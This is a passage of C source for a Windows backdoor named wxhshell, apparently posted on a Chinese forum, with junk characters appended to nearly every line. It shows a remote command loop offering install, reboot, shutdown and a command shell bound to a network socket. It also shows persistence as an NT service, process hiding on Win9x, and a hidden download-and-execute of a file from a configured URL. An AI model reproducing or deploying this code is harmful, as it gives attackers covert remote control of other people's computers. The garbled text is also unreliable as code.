  else { {&51@UX  
/(dP)ysc  
    switch(cmd[0]) { |mEWN/@C  
  ,Bk5( e  
  // 帮助 ]~TsmR[  
  case '?': { XNz+a|cF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Tc WCr  
    break; b($hp%+yJ  
  } |+#Zuq  
  // 安装 I?e5h@uE  
  case 'i': { xRh 22z  
    if(Install()) ( S[z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d][ Wm  
    else oZ'a}kF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N^L@MR-  
    break; 8 x{Owj:Q  
    } .biq)L e  
  // 卸载 Kj4/fB  
  case 'r': { ]VI^ hhf  
    if(Uninstall()) ATs_d_Sz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K`4lL5oH  
    else {r^_g(.q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7N$2N!I(  
    break; 1h,iWHC  
    } n]4E>/\  
  // 显示 wxhshell 所在路径 %8'8XDq^8  
  case 'p': { ":!$Jnj,  
    char svExeFile[MAX_PATH]; F? #3  
    strcpy(svExeFile,"\n\r"); DHO]RRGV  
      strcat(svExeFile,ExeFile); Blpk n1  
        send(wsh,svExeFile,strlen(svExeFile),0); xT HD_?d  
    break;  TGCB=e  
    } f{sT*_at  
  // 重启 j}+3+ 8D  
  case 'b': { vm [lMx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `^M]|7  
    if(Boot(REBOOT)) IskL$Y ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \]X.f&u  
    else { l]*RiK2AC  
    closesocket(wsh); 7)Toj  
    ExitThread(0); QS#@xhH  
    } n:@!vV   
    break; vW+6_41ZM  
    } `ecseBn3d  
  // 关机 ({uW-%  
  case 'd': { ]Ry9{:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NRRJlY S  
    if(Boot(SHUTDOWN)) _7c3=f83  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s(,S~  
    else { =ZgueUz,  
    closesocket(wsh); iE%"Q? Q/  
    ExitThread(0); x YS81  
    } ~A0]vcP  
    break; :'%6  
    } 'Y?-."eKh  
  // 获取shell B%F]K<  
  case 's': { L}Z.FqJ  
    CmdShell(wsh); *$Q>Om]  
    closesocket(wsh); iq&3S0  
    ExitThread(0); h<.5:a  
    break; (J:+'u  
  } ]!hjKu"  
  // 退出 ]S2rqKB  
  case 'x': { )2f#@0SVL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SB62(#YR  
    CloseIt(wsh); _"8n&=+  
    break; 'E| %l!xO  
    } E|O&bUMh  
  // 离开 At7!Pas#@g  
  case 'q': { omG2p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eg[EFI.h  
    closesocket(wsh);  s*u A3}j  
    WSACleanup(); j7I=2xnTWu  
    exit(1); R7::f\I   
    break; v+ $3  
        } }\a#e^-xQ+  
  } 'Ru(`" 1|  
  } qCs/sW  
I%T+H[,  
  // 提示信息 pbMANZU[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (,Y[2_Zv  
} -&/?&{Q0  
  } 85<k'>~L  
-#\T  
  return; 1/dL-"*0  
} ^y5A\nz&  
[$y(>] ~.  
// shell模块句柄 dX[I :,z*  
int CmdShell(SOCKET sock) j=sfE qN).  
{ C5~#lNC  
STARTUPINFO si; :jiEn y  
ZeroMemory(&si,sizeof(si)); Fis!MMh.$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n Kkpp-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k!c7eP"%8^  
PROCESS_INFORMATION ProcessInfo; ~&?([}A  
char cmdline[]="cmd"; \@Wv{0a(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +t!]nE #  
  return 0; zIa={tU  
} x'|ty[87  
|<W$rzM  
// 自身启动模式 @Q1!xA^S  
int StartFromService(void) j0l,1=^>l  
{ 1?'4%>kp  
typedef struct (UkP AE  
{ pqG> |#RG  
  DWORD ExitStatus; x@#>l8k?  
  DWORD PebBaseAddress; ?2@^O=I  
  DWORD AffinityMask; jWdviS9&g  
  DWORD BasePriority; ]\yIHdcDi  
  ULONG UniqueProcessId; Ib(C`4%  
  ULONG InheritedFromUniqueProcessId; is;g`m  
}   PROCESS_BASIC_INFORMATION; ?:R]p2ID  
6h9(u7(-N  
PROCNTQSIP NtQueryInformationProcess; ]E9iaq6Z  
|MNSIb&,W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rto?*^N?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e@3SF  
!LK xZ"  
  HANDLE             hProcess; Ez1eGPVr  
  PROCESS_BASIC_INFORMATION pbi; 9< mMU:  
Wn<?_}sa|z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A7 RI&g v5  
  if(NULL == hInst ) return 0; *HrEh;3^J  
}*x1e_m}H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r8:r}Qj2w[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /?.?1-HM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p6JTNx D  
g->*@%?<w>  
  if (!NtQueryInformationProcess) return 0; Nl\`xl6y]  
=, XCjiBeC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @pH2"k| @  
  if(!hProcess) return 0; #`Su3~T=S  
eWH0zswG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~WA@YjQ]  
tZ]gVgZg  
  CloseHandle(hProcess); rPk|2l,E,3  
}Rh\JDiQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #|9W9\f,  
if(hProcess==NULL) return 0; XoN~d  
ZU 3Psj  
HMODULE hMod; ,{*g Q%7  
char procName[255]; Sca"LaW1  
unsigned long cbNeeded; p?gm=b#  
& bTCTDZh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ')jItje|  
1l-5H7^w2?  
  CloseHandle(hProcess); -Y_, .'ex  
S,5ok0R  
if(strstr(procName,"services")) return 1; // 以服务启动 Us`=^\  
(?zg.y  
  return 0; // 注册表启动 u^MKqI  
} ~&Z>fgOTJ  
qT#e -.G  
// 主模块 ).KA0-  
int StartWxhshell(LPSTR lpCmdLine) 5]O{tSj  
{ gWj-@o\  
  SOCKET wsl; O84]J:b  
BOOL val=TRUE; z:Am1B  
  int port=0; ~"+"6zg  
  struct sockaddr_in door; N R c4*zQJ  
< $zJi V  
  if(wscfg.ws_autoins) Install(); 'lIs`Zc5N  
ysnW3q!@  
port=atoi(lpCmdLine); 5>}$]d/o  
rbvk.:"^w  
if(port<=0) port=wscfg.ws_port; (3n "a'  
snaAn?I4  
  WSADATA data; "0eX/ rY%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D!`;vZ\>  
,X!6|l8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q}#Je.;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |=;hQ2HyF  
  door.sin_family = AF_INET; PVb[E03  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0F[ f%2j  
  door.sin_port = htons(port); C m[}DB  
e:O,$R#g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e)sR$]i:v  
closesocket(wsl); b 3x|Dq.  
return 1; ^hLr9k   
} _LJF:E5L  
2yA)SGri  
  if(listen(wsl,2) == INVALID_SOCKET) { U[wx){[|  
closesocket(wsl); bq/Aopfr  
return 1; kj6:P$tH  
} "2mPWRItO  
  Wxhshell(wsl); y% bIO6u:  
  WSACleanup(); 4c5BlD  
wnS,Jl  
return 0; &=lc]sk  
}`qAb/Ov  
} ;,bgJgK  
d:)#-x*h7  
// 以NT服务方式启动 fJS:46  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =x<N+vjXY  
{ dlYpbw}W&<  
DWORD   status = 0; AE rPd)yk0  
  DWORD   specificError = 0xfffffff; =|oi0  
%]+R>+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "3RFy i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fZiAl7b!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c}(H*VY2n  
  serviceStatus.dwWin32ExitCode     = 0; Z- feMM  
  serviceStatus.dwServiceSpecificExitCode = 0; C8m9H8Qm  
  serviceStatus.dwCheckPoint       = 0; b,'O|s]"Sc  
  serviceStatus.dwWaitHint       = 0; 01A{\O1$j  
` -_!%m/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8w5}9}xF  
  if (hServiceStatusHandle==0) return; X%yG{\6:  
?[JP[ qS  
status = GetLastError(); }$_@yt<{W@  
  if (status!=NO_ERROR) nH#>_R (  
{ C hF~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y-ao yoNS  
    serviceStatus.dwCheckPoint       = 0; UGAV"0  
    serviceStatus.dwWaitHint       = 0; t6"%u3W8M  
    serviceStatus.dwWin32ExitCode     = status; C:B7%<  
    serviceStatus.dwServiceSpecificExitCode = specificError; KlT:&1SB9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `nF SJlr&  
    return; 7ws<' d7/  
  } a{`hAI${  
~HmH#"VP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h%/BZC^L]|  
  serviceStatus.dwCheckPoint       = 0; Sgi`&;PF  
  serviceStatus.dwWaitHint       = 0; D?n6h\h\$%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <K0epED  
} a0|hLqI  
V_h&9]RL  
// 处理NT服务事件,比如:启动、停止 e a=E/HR-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _,drOF|e  
{ hU$a Z  
switch(fdwControl) gGrVpOzBj  
{ jrp>Y:  
case SERVICE_CONTROL_STOP: t]HY@@0g  
  serviceStatus.dwWin32ExitCode = 0; w9'>&W8T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "<iH8MzZ  
  serviceStatus.dwCheckPoint   = 0; *qzdt^[ xo  
  serviceStatus.dwWaitHint     = 0; zxn|]P bS  
  { ep6+YK:cn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1GYZ1iA  
  } Yc7 YNC.  
  return; fl-J:`zyyZ  
case SERVICE_CONTROL_PAUSE: C5~~$7k0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;FqmZjm  
  break; +[G9PP6  
case SERVICE_CONTROL_CONTINUE: qHk{5O3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w~@"r#-  
  break; h ;*x1BVE  
case SERVICE_CONTROL_INTERROGATE: <{#_;7h"  
  break; QP\9#D~  
}; gWr7^u&q@|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'WW:'[Syn'  
} Sp\TaUzg  
 W9?* ~!  
// 标准应用程序主函数 AX`T ku  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #QwkRzVoy  
{ %5e|  
c!\Gj|  
// 获取操作系统版本 *^-AOSVt,  
OsIsNt=GetOsVer(); a&'9[9E1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |.)LZP,  
:qE.(k1@5  
  // 从命令行安装 z|>TkCW6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9'*7 ( j;  
>M#@vIo?<6  
  // 下载执行文件 >/n];fl>8  
if(wscfg.ws_downexe) { 8"&!3_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d27q,2f!  
  WinExec(wscfg.ws_filenam,SW_HIDE); nI3p`N8j*  
} *'?ZG/ (  
Kg 6J:HD49  
if(!OsIsNt) { 9VW/Af  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,[;O'g?,g  
HideProc(); `jeATxWv  
StartWxhshell(lpCmdLine); /"e@rnn  
} s*PKr6X+  
else _}5vO$kdO  
  if(StartFromService()) $9YQ aN%  
  // 以服务方式启动 Pxl,"  
  StartServiceCtrlDispatcher(DispatchTable); :'T+`(  
else 2^B_iyF;  
  // 普通方式启动 "AagTFs(i  
  StartWxhshell(lpCmdLine); =NY;#Jjn  
RiTL(Yx  
return 0; K$Bv4_|x  
}
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只看该作者 1 发表于: 2006-10-10
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